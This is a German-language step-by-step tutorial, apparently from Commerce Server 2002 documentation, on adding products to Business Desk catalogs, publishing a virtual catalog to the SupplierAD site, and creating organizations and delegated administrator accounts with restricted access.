  1. Klicken Sie im Bildschirm Kataloginhalt – Büroartikel (Deutsch (Deutschland)) im Bereich Produkte auf Neu.

    Das Dialogfeld Neues Produkt wird angezeigt.

  2. Wählen Sie im Dialogfeld Neues Produkt den Eintrag Stift aus der Liste aus, und klicken Sie anschließend auf OK.
  3. Führen Sie im Bildschirm Katalog-Editor – Büroartikel (Deutsch (Deutschland)) – Neu (Stift) im Bereich Produkteigenschaften die folgenden Schritte aus:
    Funktion | Aktion
    Marke | Geben Sie Stift – Filzstift ein.
    Beschreibung | Geben Sie Das Produkt "Filzstift" ein.
    Name | Geben Sie Filzstift ein.
  4. Erweitern Sie den Bereich Produktvarianten, klicken Sie auf Neu, und führen Sie die folgenden Schritte aus:
    Funktion | Aktion
    SKU | Geben Sie FS01 ein.
    Stiftfarbe | Wählen Sie in der Dropdownliste die Option Rot aus.
    Hersteller | Geben Sie Northwind Traders ein.
    Tintenfarbe | Wählen Sie in der Dropdownliste die Option Grün aus.
    Stiftart | Wählen Sie in der Dropdownliste die Option Filzstift aus.
    Variantenpreis | Geben Sie 0,99 ein.
  5. Klicken Sie auf Fertig.

    In der Liste Produktvarianten wird das Produkt "Filzstift", SKU FS01, angezeigt. Als Nächstes erstellen Sie ein weiteres Produkt vom Typ "Filzstift".

  6. Klicken Sie im Bereich Produktvarianten auf Neu, und führen Sie die folgenden Schritte aus:
    Funktion | Aktion
    SKU | Geben Sie FS02 ein.
    Stiftfarbe | Wählen Sie in der Dropdownliste die Option Blau aus.
    Hersteller | Geben Sie Northwind Traders ein.
    Tintenfarbe | Wählen Sie in der Dropdownliste die Option Blau aus.
    Stiftart | Wählen Sie in der Dropdownliste die Option Filzstift aus.
    Variantenpreis | Geben Sie 0,99 ein.
  7. Klicken Sie auf Fertig.

    In der Liste Produktvarianten wird das Produkt "Filzstift", SKU FS02, angezeigt. Als nächstes müssen Sie das Produkt der Kategorie Stifte zuordnen.

So weisen Sie dieses Produkt der Kategorie "Stifte" zu

  1. Erweitern Sie den Bereich Zugewiesene Kategorien.
  2. Wählen Sie im Bereich Zugewiesene Kategorien in der Liste Verfügbare Kategorien den Eintrag Stifte aus, und klicken Sie dann auf Hinzufügen.

    Die Kategorie Stifte wird in der Liste Zugewiesene Kategorien angezeigt.

So speichern Sie Ihre Änderungen

  • Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Produkte vom Typ "Filzstift" zu speichern und zum Bildschirm Kataloginhalt – Büroartikel (Deutsch (Deutschland)) zurückzukehren.

    Die Meldung Wird gespeichert, bitte warten wird angezeigt.

So zeigen Sie die Produktliste an

  • Klicken Sie im Bildschirm Kataloginhalt – Büroartikel (Deutsch (Deutschland)) im Bereich Produkte auf Suchen.

    Das gerade erstellte Produkt Stift – Filzstift wird im Bereich Produkte in der Liste Produkte angezeigt.

Fahren Sie mit Schritt 3: Hinzufügen des Produkts "Bleistift" zum Katalog "Büroartikel" fort, in dem Sie zwei Produkte vom Typ "Bleistift" hinzufügen werden.


Schritt 3: Hinzufügen des Produkts "Bleistift" zum Katalog "Büroartikel"

  1. Klicken Sie im Bildschirm Kataloginhalt – Büroartikel (Deutsch (Deutschland)) im Bereich Produkte auf Neu.
  2. Wählen Sie im Dialogfeld Neues Produkt den Eintrag Bleistift aus der Liste aus, und klicken Sie anschließend auf OK.

    Der Bildschirm Kataloginhalt – Büroartikel (Deutsch (Deutschland)) – Neu (Bleistift) wird angezeigt.

  3. Führen Sie im Bereich Produkteigenschaften folgende Schritte aus:
    Funktion | Aktion
    Marke | Geben Sie Bleistift ein.
    Beschreibung | Geben Sie Das Produkt "Bleistift" ein.
    Name | Geben Sie Bleistift ein.
  4. Erweitern Sie den Bereich Produktvarianten, klicken Sie auf Neu, und führen Sie die folgenden Schritte aus:
    Funktion | Aktion
    SKU | Geben Sie Bleistift0001 ein.
    Hersteller | Geben Sie Northwind Traders ein.
    Minenfarbe | Wählen Sie in der Dropdownliste die Option Schwarz aus.
    Stiftfarbe | Wählen Sie in der Dropdownliste die Option Gelb aus.
    Minenstärke | Wählen Sie in der Dropdownliste die Option Nr. 1 aus.
    Variantenpreis | Geben Sie 0,21 ein.
  5. Klicken Sie auf Fertig.

Das erste Produkt "Bleistift" wird in der Tabelle Produktvarianten angezeigt. Als Nächstes erstellen Sie ein zweites Produkt vom Typ "Bleistift".

  1. Klicken Sie im Bereich Produktvarianten auf Neu, und führen Sie die folgenden Schritte aus:
    Funktion | Aktion
    SKU | Geben Sie Bleistift0002 ein.
    Hersteller | Geben Sie Northwind Traders ein.
    Minenfarbe | Wählen Sie in der Dropdownliste die Option Schwarz aus.
    Stiftfarbe | Wählen Sie in der Dropdownliste die Option Gelb aus.
    Minenstärke | Wählen Sie in der Dropdownliste die Option Nr. 2 aus.
    Variantenpreis | Geben Sie 0,20 ein.
  2. Klicken Sie auf Fertig.

    Das zweite Produkt "Bleistift" wird in der Tabelle Produktvarianten angezeigt. Beachten Sie, dass der Variantenpreis für das Produkt Bleistift0002 in der Liste Produktvarianten als 0,2 angezeigt wird (die nachgestellte Null wird nicht angezeigt). Wie Sie später in diesem Lernprogramm sehen werden, wird der Preis jedoch in der Website normal formatiert.

So weisen Sie dieses Produkt der Kategorie "Bleistifte" zu

  1. Erweitern Sie den Bereich Zugewiesene Kategorien.
  2. Wählen Sie im Bereich Zugewiesene Kategorien in der Liste Verfügbare Kategorien den Eintrag Bleistifte aus, und klicken Sie dann auf Hinzufügen.

    Die Kategorie Bleistifte wird in der Liste Zugewiesene Kategorien angezeigt.

So speichern Sie Ihre Änderungen

  1. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das Produkt vom Typ "Bleistift" zu speichern und zum Bildschirm Kataloginhalt – Büroartikel (Deutsch (Deutschland)) zurückzukehren.

    Daraufhin wird die Meldung Wird gespeichert, bitte warten und anschließend der Bildschirm Katalog-Editor – Bürogeräte (Deutsch (Deutschland)) angezeigt.

So zeigen Sie die Produktliste an

  1. Klicken Sie im Bildschirm Büroartikel (Deutsch (Deutschland)) auf Suchen.

    Die für den Katalog Büroartikel erstellten Produkte vom Typ "Stift" und "Bleistift" werden im Bereich Produkte in der Liste Produkte angezeigt.

  2. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Kataloge zurückzukehren.

Fahren Sie mit Schritt 4: Hinzufügen des Produkts "Drucker" zum Katalog "Bürogeräte" fort.


Schritt 4: Hinzufügen des Produkts "Drucker" zum Katalog "Bürogeräte"

  1. Klicken Sie im Modul "Kataloge" auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge in der Spalte Name den Eintrag Bürogeräte aus, und klicken Sie dann auf der Symbolleiste auf Katalog öffnen, um den Katalog Bürogeräte zu öffnen.
  3. Klicken Sie im Bildschirm Kataloginhalt – Bürogeräte (Deutsch (Deutschland)) im Bereich Produkte auf Neu.
  4. Wählen Sie im Dialogfeld Neues Produkt den Eintrag Drucker aus der Liste aus, und klicken Sie anschließend auf OK.
  5. Führen Sie im Bildschirm Katalog-Editor – Bürogeräte (Deutsch (Deutschland)) – Neu (Drucker) im Bereich Produkteigenschaften die folgenden Schritte aus:
    Funktion | Aktion
    Marke | Geben Sie Drucker – Laser ein.
    Name | Geben Sie Laserdrucker ein.
    Beschreibung | Geben Sie Das Produkt "Laserdrucker" ein.
    Hersteller | Geben Sie Northwind Traders ein.
    PPM | Geben Sie 20 ein.
    Gewicht | Geben Sie 75 ein.
    Drucktechnik | Wählen Sie in der Dropdownliste die Option Laser aus.
    Farbdruck | Wählen Sie in der Dropdownliste die Option Nein aus.
    Preis | Geben Sie 599,00 ein.
  6. Klicken Sie auf der Symbolleiste auf Speichern und neu, um das Produkt vom Typ "Laserdrucker" zu speichern und ein neues Druckerprodukt zu erstellen.
  7. Wählen Sie im Dialogfeld Neues Produkt den Eintrag Drucker aus der Liste aus, und klicken Sie anschließend auf OK.

    Die Meldung Wird gespeichert, bitte warten wird angezeigt. Sobald die Meldung ausgeblendet wird, fahren Sie mit dem nächsten Schritt fort.

  8. Führen Sie im Bildschirm Katalog-Editor – Bürogeräte (Deutsch (Deutschland)) – Neu (Drucker) im Bereich Produkteigenschaften die folgenden Schritte aus:
    Funktion | Aktion
    Marke | Geben Sie Drucker – Tintenstrahl ein.
    Name | Geben Sie Tintenstrahldrucker ein.
    Beschreibung | Geben Sie Das Produkt "Tintenstrahldrucker" ein.
    Hersteller | Geben Sie Northwind Traders ein.
    PPM | Geben Sie 4 ein.
    Gewichtung | Geben Sie 10 ein.
    Drucktechnik | Wählen Sie in der Dropdownliste die Option Tintenstrahl (Ink Jet) aus.
    Farbdruck | Wählen Sie in der Dropdownliste die Option Ja aus.
    Preis | Geben Sie 200,00 ein.
  9. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das Produkt vom Typ "Tintenstrahldrucker" zu speichern und zum Bildschirm Kataloginhalt – Bürogeräte (Deutsch (Deutschland)) zurückzukehren.

    Die Meldung Wird gespeichert, bitte warten wird angezeigt. Sobald die Meldung ausgeblendet wird, fahren Sie mit dem nächsten Schritt fort.

  10. Klicken Sie im Bildschirm Kataloginhalt – Bürogeräte (Deutsch (Deutschland)) im Bereich Produkte auf Suchen.

    Die neu erstellten Produkte Drucker - Tintenstrahl und Drucker - Laser werden im Bereich Produkte in der Liste Produkte angezeigt.

  11. Klicken Sie auf Zurück, um zum Bildschirm Kataloge zurückzukehren.

    Nachdem Sie nun den Basiskatalogen Büroartikel und Bürogeräte Produkte vom Typ "Stift" und "Bleistift" bzw. "Drucker" hinzugefügt haben, fahren Sie mit Lektion 2: Erneutes Erstellen und Veröffentlichen der Kataloge fort.


Lektion 2: Erneutes Erstellen und Veröffentlichen der Kataloge

Die letzten Schritte nach dem Hinzufügen von Produkten zu den Katalogen bestehen darin, die Kataloge neu zu erstellen und sie anschließend in der Website zu veröffentlichen. In dieser Lektion erstellen Sie den virtuellen Katalog neu und veröffentlichen ihn in der SupplierAD-Site. Beim Neuerstellen und Veröffentlichen eines virtuellen Katalogs in einer Site werden automatisch alle darin enthaltenen Basiskataloge neu erstellt und veröffentlicht.

  • Schritt 1: Erneutes Erstellen des virtuellen Katalogs
  • Schritt 2: Veröffentlichen des virtuellen Katalogs in der SupplierAD-Site


Schritt 1: Erneutes Erstellen des virtuellen Katalogs

Wenn Sie Änderungen an einem virtuellen Katalog vornehmen, beispielsweise einen Basiskatalog, Kategorien oder Produkte in den Katalog einschließen, müssen Sie den virtuellen Katalog anschließend neu erstellen. Da Sie die Basiskataloge Büroartikel und Bürogeräte um neue Produkte erweitert haben, müssen Sie Ihren virtuellen Katalog jetzt neu erstellen.

  1. Klicken Sie im Modul "Kataloge" auf Katalog-Editor.

    Der Bildschirm Kataloge wird angezeigt. Im Bildschirm Kataloge wird in der Zeile Virtueller Katalog der Status Neuerstellung erforderlich angezeigt.

  2. Wählen Sie Virtueller Katalog aus, und klicken Sie auf der Symbolleiste auf Neu erstellen, um den virtuellen Katalog und die darin enthaltenen Basiskataloge neu zu erstellen.
  3. Klicken Sie im Dialogfeld Business Desk: Katalog neu erstellen auf OK, um das Dialogfeld zu schließen und mit der Bearbeitung fortzufahren.

    Im Bildschirm Kataloge wird in der Spalte Status in der Zeile Virtueller Katalog der Status Neuerstellung angezeigt.

  4. Um den Bildschirm zu aktualisieren, klicken Sie im Modul "Kataloge" auf Katalog-Editor.

Der Bildschirm wird aktualisiert, und in der Zeile Virtueller Katalog wird nun die Statusmeldung Aktualisiert angezeigt. Fahren Sie mit Schritt 2: Veröffentlichen des virtuellen Katalogs in der SupplierAD-Site fort.


Schritt 2: Veröffentlichen des virtuellen Katalogs in der SupplierAD-Site

  1. Klicken Sie im Modul "Kataloge" auf Katalog-Editor.

    Der Bildschirm Kataloge wird angezeigt.

  2. Zum Veröffentlichen der Änderungen in Ihrer Website klicken Sie in der Liste auf Virtueller Katalog und anschließend auf der Symbolleiste auf Aktualisieren.

    Die Meldung Kataloge werden aktualisiert wird angezeigt.

Wenn die Aktualisierung abgeschlossen ist, werden der virtuelle Katalog und die darin enthaltenen Basiskataloge in der SupplierAD-Website veröffentlicht. Damit haben Sie Kurs 3 abgeschlossen. Fahren Sie mit Kurs 4: Ausführen von organisatorischen und Sicherheitstasks fort.


Kurs 4: Ausführen von organisatorischen und Sicherheitstasks

Voraussichtliche Dauer: 60 Minuten

In dieser Lektion werden Sie Folgendes lernen:

  • Vereinfachen von Verwaltungstasks mithilfe von Organisationen.
  • Erstellen von Benutzern mithilfe von Business Desk und über die SupplierAD-Site.
  • Erteilen beschränkter Zugriffsrechte auf Business Desk-Module und -Tasks für bestimmte Benutzer.

Mithilfe von Business Desk-Organisationen werden Benutzer bzw. Benutzergruppen zu Katalogen zugeordnet, wodurch der Verwaltungsaufwand verringert wird. Basiskataloge sind einem Katalogsatz und Katalogsätze sind einer Organisation zugeordnet. Beachten Sie, dass Basiskataloge nicht direkt einer Organisation zugewiesen werden können. Benutzer (sowohl normale Benutzer als auch Administratoren) werden ebenfalls einer Organisation zugewiesen. Beim Zuweisen eines Benutzers oder einer Benutzergruppe zu einer Organisation erbt der Benutzer bzw. die Benutzergruppe den Katalogsatz der Organisation, wodurch die Verwaltung vereinfacht wird.

Szenario: In diesem Kurs erstellen Sie für die beiden Produktgruppen Büroartikel und Bürogeräte jeweils eine Organisation. Als Nächstes erstellen Sie für jede Produktgruppe ein Windows-Administratorkonto und weisen diese Administratorkonten (auch als delegierte Administratorkonten bezeichnet) der jeweiligen Organisation zu. Sie weisen den in Kurs 3, Lektion 5: Erstellen von Katalogsätzen erstellten Katalogsatz einer Organisation hinzu, die in diesem Kurs erstellt wird.

Sie gewähren der entsprechenden Organisation Zugriffsrechte für die in Kurs 3, Lektion 5: Erstellen von Katalogsätzen erstellten Katalogsätze. Anschließend erstellen Sie ein Administratorkonto für jeden der Handelspartner und weisen diese Konten der jeweiligen Organisation zu. Als Nächstes fügen Sie diese Benutzerkonten der Business Desk-Liste Sicherheitsrechte zu und gewähren für diese Konten und den entsprechenden Katalogsatz beschränkte Zugriffsrechte auf bestimmte Module, Kataloge sowie Tasks. Am Ende überprüfen Sie, ob die Handelspartner wirklich nur Zugriff auf die Business Desk-Module und -Tasks haben, die Sie für sie konfiguriert haben. Außerdem erstellen Sie einen normalen Benutzer und überprüfen, ob es sich bei ihm nicht um einen Administrator handelt.

Die SupplierAD-Lösungssite bietet die folgenden Vorteile:

  • Ein Business Desk-Manager kann Windows-Benutzerkonten mithilfe von Business Desk oder über die SupplierAD-Site erstellen.
  • Business Desk-Manager können die Benutzer für ihre Site verwalten, ohne als Domänenadministratoren eingerichtet zu sein oder über Erfahrungen im Umgang mit Active Directory zu verfügen.
  • Benutzerkennwörter werden in Active Directory in einem verschlüsselten Format gespeichert, wodurch dieses Szenario sicherer als das Speichern von Kennwörtern in SQL Server ist.

Im Folgenden sind die Lektionen dieses Kurses aufgelistet. Die Lektionen bauen jeweils aufeinander auf, sodass sie in der vorgegebenen Reihenfolge durchgearbeitet werden sollten.

  • Lektion 1: Erstellen von Organisationen
  • Lektion 2: Erstellen von Benutzerkonten mithilfe von Business Desk
  • Lektion 3: Erstellen von Benutzerkonten über die SupplierAD-Site
  • Lektion 4: Anzeigen von Benutzerkonten mithilfe von Business Desk
  • Lektion 5: Hinzufügen von Benutzerkonten zur Business Desk-Liste "Sicherheitsrechte"
  • Lektion 6: Erteilen beschränkter Zugriffsrechte für Administratoren auf Business Desk
  • Lektion 7: Überprüfen der Zugriffsrechte für Business Desk


Lektion 1: Erstellen von Organisationen

Szenario: In dieser Lektion erstellen Sie zwei Organisationen mit der Bezeichnung "Produktgruppe 'Büroartikel'" und "Produktgruppe 'Bürogeräte'". Außerdem werden Sie beiden Organisationen jeweils einen entsprechenden Katalogsatz zuweisen. In Kurs 2 dieses Lernprogramms haben Sie einen Katalogsatz für jeden Handelspartner erstellt. Später in diesem Kurs, beim Erstellen von Benutzerkonten, fügen Sie Benutzer zu Organisationen hinzu. Durch das Zuweisen von Katalogsätzen und Benutzern zu Organisationen können Sie kontrollieren, welche Benutzer Zugriff auf einen bestimmten Katalog haben.

Im Folgenden sind die Schritte dieser Lektion aufgelistet. Die Schritte bauen jeweils aufeinander auf, Es ist wichtig, die Schritte in der vorgegebenen Reihenfolge auszuführen:

  • Schritt 1: Erstellen der Organisation "Produktgruppe 'Bürogeräte'"
  • Schritt 2: Erstellen der Organisation "Produktgruppe 'Büroartikel'"
  • Schritt 3: Anzeigen der Organisationen


Schritt 1: Erstellen der Organisation "Produktgruppe 'Bürogeräte'"

  1. Klicken Sie in Business Desk im Modul "Profile" auf Organisationen.
  2. Klicken Sie im Bildschirm Organisation auf der Symbolleiste auf Neu.
  3. Führen Sie im Bildschirm Neue Organisation im Bereich Allgemeine Informationen folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Produktgruppe Bürogeräte ein.
    Nummer des Handelspartners | Geben Sie 01 ein.
    Organisationskatalogsatz Wählen Sie in der Dropdownliste die Option Bürogeräte aus.

    Hinweis Hinweis

    • Dies ist der Katalogsatz, den Sie in Lektion 5: Erstellen von Katalogsätzen erstellt haben.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die neue Organisation mit dem Katalogsatz Bürogeräte zu speichern und zum Bildschirm Organisation zurückzukehren.

    Die Organisation "Produktgruppe 'Bürogeräte'" wird gespeichert.

Fahren Sie mit Schritt 2: Erstellen der Organisation "Produktgruppe 'Büroartikel'" fort.


Schritt 2: Erstellen der Organisation "Produktgruppe 'Büroartikel'"

  1. Klicken Sie im Modul "Profile" auf Organisationen.
  2. Klicken Sie im Bildschirm Organisation auf der Symbolleiste auf Neu.
  3. Führen Sie im Bildschirm Neue Organisation im Bereich Allgemeine Informationen folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Produktgruppe Büroartikel ein.
    Nummer des Handelspartners | Geben Sie 02 ein.
    Organisationskatalogsatz Wählen Sie in der Dropdownliste die Option Büroartikel aus.

    Dies ist der Katalogsatz, den Sie in Lektion 5: Erstellen von Katalogsätzen erstellt haben.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die neue Organisation mit dem Katalogsatz Büroartikel zu speichern und zum Bildschirm Organisation zurückzukehren.

    Die Organisation "Produktgruppe 'Büroartikel'" wird gespeichert.

Fahren Sie mit Schritt 3: Anzeigen der Organisationen fort.


Schritt 3: Anzeigen der Organisationen

  1. Klicken Sie im Modul "Profile" auf Organisationen.
  2. Geben Sie im Bildschirm Organisation im Feld Name das Zeichen * ein, und klicken Sie auf Suchen.

    Daraufhin werden in der Liste Gefilterte Ansicht des Bildschirms Organisation die Organisationen "Produktgruppe 'Büroartikel'" und "Produktgruppe 'Bürogeräte'" angezeigt. Fahren Sie mit Lektion 2: Erstellen von Benutzerkonten mithilfe von Business Desk fort.


Lektion 2: Erstellen von Benutzerkonten mithilfe von BusinessDesk

Feedback zu dieser Seite senden Commerce Server 2002

Lektion 2: Erstellen von Benutzerkonten mithilfe von Business Desk

In dieser Lektion erstellen Sie für die beiden Organisationen "Produktgruppe 'Büroartikel'" und "Produktgruppe 'Bürogeräte'" jeweils ein Administratorkonto. Anschließend kann ein Business Desk-Manager jeder Produktgruppe über das entsprechende Administratorkonto auf die SupplierAD-Website zugreifen. In Lektion 5 und 6 richten Sie für diese Benutzerkonten dann beschränkte Zugriffsrechte für Business Desk ein.

Es ist wichtig, die Schritte in der vorgegebenen Reihenfolge auszuführen:

  • Schritt 1: Erstellen des Administratorkontos "BGadmin"
  • Schritt 2: Erstellen des Administratorkontos "BAadmin"


Schritt 1: Erstellen des Administratorkontos "BGadmin"

In diesem Schritt erstellen Sie das Konto BGadmin. Mithilfe dieses Kontos wird ein vertrauenswürdiges Mitglied der Produktgruppe "Bürogeräte" auf die SupplierAD-Site zugreifen können. In Lektion 5 und 6 fügen Sie diesen Benutzer dann der Liste Sicherheitsrechte hinzu und gewähren dem dazugehörigen Konto eingeschränkten Zugriff auf Business Desk. Anschließend aktualisiert der Benutzer den Basiskatalog Bürogeräte.

  1. Klicken Sie in Business Desk im Modul "Profile" auf Benutzer.
  2. Klicken Sie im Bildschirm Benutzer auf der Symbolleiste auf Neu.
  3. Führen Sie im Bildschirm Neues Profil: Benutzer im Bereich Allgemeine Informationen folgende Schritte aus:
    Funktion | Aktion
    Anmeldename Geben Sie BGadmin ein.

    Hinweis Hinweis

    • Bei Benutzernamen wird nicht zwischen Groß- und Kleinschreibung unterschieden. In diesem Lernprogramm werden Benutzernamen aufgrund der besseren Lesbarkeit in Groß- und Kleinbuchstaben eingegeben.
    Benutzerkennwort Geben Sie Kennwort ein.

    Hinweis Hinweis

    • Bei Kennwörtern wird zwischen Groß- und Kleinschreibung unterschieden.
    E-Mail | Geben Sie BGadmin@NorthwindTraders.com ein.
    Benutzertyp | In der Dropdownliste muss die Option Registrierter Benutzer ausgewählt sein.
    Nachname | Geben Sie Admin ein.
    Vorname | Geben Sie BG ein.
    Standardsprache | Wählen Sie in der Dropdownliste die Option Deutsch (Deutschland) aus.
  4. Führen Sie im Bildschirm Neues Profil: Benutzer im Bereich Kontoinformationen folgende Schritte aus:
    Funktion Aktion
    Organisations-ID Wählen Sie in der Dropdownliste die Option Vorhandenes Profil einfügen aus.

    Hinweis Hinweis

    • Das vorhandene Profil, dem Sie diesen Benutzer hinzufügen werden, ist die Organisation "Produktgruppe 'Bürogeräte'", die Sie zuvor in Lektion 1: Erstellen von Organisationen erstellt haben.
  5. Führen Sie im Bildschirm Organisation folgende Schritte aus:
    Funktion | Aktion
    Suchen nach | Wählen Sie in der Dropdownliste die Option Name aus.
    Name | Geben Sie * ein, und klicken Sie auf Suchen.

    Im Listenfeld Gefilterte Ansicht wird der Eintrag Produktgruppe Bürogeräte angezeigt.

  6. Wählen Sie im Listenfeld Gefilterte Ansicht den Eintrag Produktgruppe Bürogeräte aus, und klicken Sie auf der Symbolleiste auf Einfügen.
  7. Führen Sie im Bildschirm Neues Profil: Benutzer im Bereich Kontoinformationen folgende Schritte aus:
    Funktion Aktion
    Kontostatus In der Dropdownliste muss die Option Aktives Konto ausgewählt sein.

    Hinweis

    • Der Standardstatus für das Konto lautet Aktives Konto. Benutzer, deren Konto inaktiv ist, können nicht auf die Site zugreifen.

    Hinweis Hinweis

    • Im Bereich Kontoinformationen des Bildschirms Neues Profil: Benutzer ist es nicht erforderlich, einen Benutzerkatalogsatz auszuwählen. Der Grund dafür ist, dass Sie den Katalogsatz Bürogeräte bereits in Lektion 1: Erstellen von Organisationen der Organisation "Produktgruppe 'Bürogeräte'" zugewiesen und diese Organisation jetzt lediglich um den Benutzer ergänzt haben. Durch das Auswählen eines Katalogsatzes, der einem Benutzer zugewiesen ist, würde der auf Organisationsebene zugewiesene Katalogsatz außer Kraft gesetzt. Auf Benutzerebene konfigurierte Katalogsätze haben generell Priorität gegenüber den auf Organisationsebene konfigurierten Katalogsätzen.
  8. Wählen Sie im Bildschirm Neues Profil: Benutzer im Bereich Partnerservice in der Dropdownliste Flags für die Partnerservicerolle den Eintrag Administrator aus.

    Hinweis

    • In der Dropdownliste Flags für die Partnerservicerolle stehen die beiden Optionen Normaler Benutzer und Administrator zur Verfügung. Die Standardeinstellung ist Normaler Benutzer. Benutzer mit dem Flag Administrator (auch delegierte Administratoren genannt) verfügen in Sites, die delegierte Administratoren unterstützen, für ihre Organisation über erweiterte Zugriffsrechte (z. B. zum Überprüfen von Bestellungen und Erstellen von Benutzerprofilen).
  9. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den neuen Benutzer zu speichern und zum Bildschirm Benutzer zurückzukehren.

Der neue Benutzer wird im Organisationsprofil Produktgruppe "Bürogeräte" gespeichert. Fahren Sie mit Schritt 2: Erstellen des Administratorkontos "BAadmin" fort.


Schritt 2: Erstellen des Administratorkontos "BAadmin"

In diesem Schritt erstellen Sie das Konto BAadmin. Mithilfe dieses Kontos wird ein vertrauenswürdiges Mitglied der Produktgruppe "Büroartikel" auf die SupplierAD-Site zugreifen können. In Lektion 5 und 6 fügen Sie diesen Benutzer der Liste Sicherheitsrechte hinzu und gewähren dem dazugehörigen Konto eingeschränkten Zugriff auf Business Desk, damit dieser Benutzer den Basiskatalog Büroartikel aktualisieren kann.

  1. Klicken Sie im Modul "Profile" auf Benutzer.
  2. Klicken Sie im Bildschirm Benutzer auf der Symbolleiste auf Neu.
  3. Führen Sie im Bildschirm Neues Profil: Benutzer im Bereich Allgemeine Informationen folgende Schritte aus:
    Funktion | Aktion
    Anmeldename | Geben Sie BAadmin ein.
    Benutzerkennwort | Geben Sie Kennwort2 ein.
    E-Mail | Geben Sie BAadmin@NorthwindTraders.com ein.
    Benutzertyp | In der Dropdownliste muss die Option Registrierter Benutzer ausgewählt sein.
    Nachname | Geben Sie Admin ein.
    Vorname | Geben Sie BA ein.
    Standardsprache | Wählen Sie in der Dropdownliste die Option Deutsch (Deutschland) aus.
  4. Führen Sie im Bildschirm Neues Profil: Benutzer im Bereich Kontoinformationen folgende Schritte aus:
    Funktion Aktion
    Organisations-ID Wählen Sie in der Dropdownliste die Option Vorhandenes Profil einfügen aus.

    Hinweis Hinweis

    • Das vorhandene Profil, dem Sie diesen Benutzer hinzufügen werden, ist die Organisation "Produktgruppe 'Büroartikel'", die Sie zuvor in Lektion 1: Erstellen von Organisationen erstellt haben.
  5. Führen Sie im Bildschirm Organisation folgende Schritte aus:
    Funktion | Aktion
    Suchen nach | Wählen Sie in der Dropdownliste die Option Name aus.
    Name Geben Sie Produktgruppe Büroartikel ein, und klicken Sie auf Suchen.

    Im Listenfeld Gefilterte Ansicht wird der Eintrag Produktgruppe Büroartikel angezeigt.
  6. Wählen Sie im Listenfeld Gefilterte Ansicht den Eintrag Produktgruppe Büroartikel aus, und klicken Sie auf der Symbolleiste auf Einfügen.
  7. Führen Sie im Bildschirm Neues Profil: Benutzer im Bereich Kontoinformationen folgende Schritte aus:
    Funktion Aktion
    Kontostatus In der Dropdownliste muss die Option Aktives Konto ausgewählt sein.

    Hinweis

    Der Standardstatus für das Konto lautet Aktives Konto. Nur Benutzer, deren Konto aktiv ist, haben Zugriff auf die SupplierAD-Website.

    Hinweis Hinweis

    • Im Bereich Kontoinformationen des Bildschirms Neues Profil: Benutzer ist es nicht erforderlich, einen Benutzerkatalogsatz auszuwählen. Der Grund dafür ist, dass Sie den Katalogsatz Büroartikel bereits in Lektion 1: Erstellen von Organisationen der Organisation "Produktgruppe 'Büroartikel'" zugewiesen und diese Organisation jetzt lediglich um den Benutzer ergänzt haben. Durch das Auswählen eines Katalogsatzes, der einem Benutzer zugewiesen ist, würde der auf Organisationsebene zugewiesene Katalogsatz außer Kraft gesetzt. Auf Benutzerebene konfigurierte Katalogsätze haben generell Priorität gegenüber den auf Organisationsebene konfigurierten Katalogsätzen.
  8. Wählen Sie im Bildschirm Neues Profil: Benutzer im Bereich Partnerservice in der Dropdownliste Flags für die Partnerservicerolle den Eintrag Administrator aus.

    Hinweis

    • In der Dropdownliste Flags für die Partnerservicerolle stehen die beiden Optionen Normaler Benutzer und Administrator zur Verfügung. Die Standardeinstellung ist Normaler Benutzer. Benutzer mit dem Flag Administrator (auch delegierte Administratoren genannt) verfügen in Sites, die delegierte Administratoren unterstützen, für ihre Organisation über Administratorrechte (z. B. zum Überprüfen von Bestellungen und Erstellen von Benutzerprofilen).
  9. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den neuen Benutzer zu speichern und zum Bildschirm Benutzer zurückzukehren.

Der neue Benutzer wird im Organisationsprofil Produktgruppe Büroartikel gespeichert. Später in diesem Kurs werden Sie überprüfen, ob die Benutzer erstellt wurden. Fahren Sie mit Lektion 3: Erstellen von Benutzerkonten über die SupplierAD-Site fort.


Lektion 3: Erstellen von Benutzerkonten über die SupplierAD-Site

In dieser Lektion werden Sie mithilfe der SupplierAD-Site ein delegiertes Administratorkonto und ein Benutzerkonto für die Organisation "Produktgruppe 'Bürogeräte'" erstellen. Anschließend überprüfen Sie, ob der Benutzer nicht bereits über Administratorrechte für die SupplierAD-Website verfügt.

Im Folgenden sind die Schritte dieser Lektion aufgelistet. Die Schritte bauen jeweils aufeinander auf, Es ist wichtig, die Schritte in der vorgegebenen Reihenfolge auszuführen:

  • Schritt 1: Erstellen eines delegierten Administrators
  • Schritt 2: Erstellen eines Benutzers
  • Schritt 3: Sicherstellen, dass es sich bei einem Benutzer nicht um einen delegierten Administrator handelt


Schritt 1: Erstellen eines delegierten Administrators

Da Sie Benutzer für die Produktgruppe Bürogeräte erstellen sollen, müssen Sie sich bei der SupplierAD-Site mit dem Windows-Konto BGadmin anmelden.

  1. Wechseln Sie zu Ihrer SupplierAD-Website. Geben Sie in der Adresszeile von Internet Explorer http://<Computername>/SupplierAD ein. Computername ist dabei der Name des Computers, auf dem Commerce Server installiert ist.
  2. Führen Sie im Bildschirm Anmeldung der SupplierAD-Site folgende Schritte aus:
    Funktion Aktion
    Benutzername Geben Sie Domäne\BGadmin ein.

    <Domäne> ist dabei der Name Ihrer Windows-Domäne.
    Kennwort Geben Sie Kennwort ein.

    Hinweis Hinweis

    • Bei Kennwörtern wird zwischen Groß- und Kleinschreibung unterschieden.

    Hinweis Hinweis

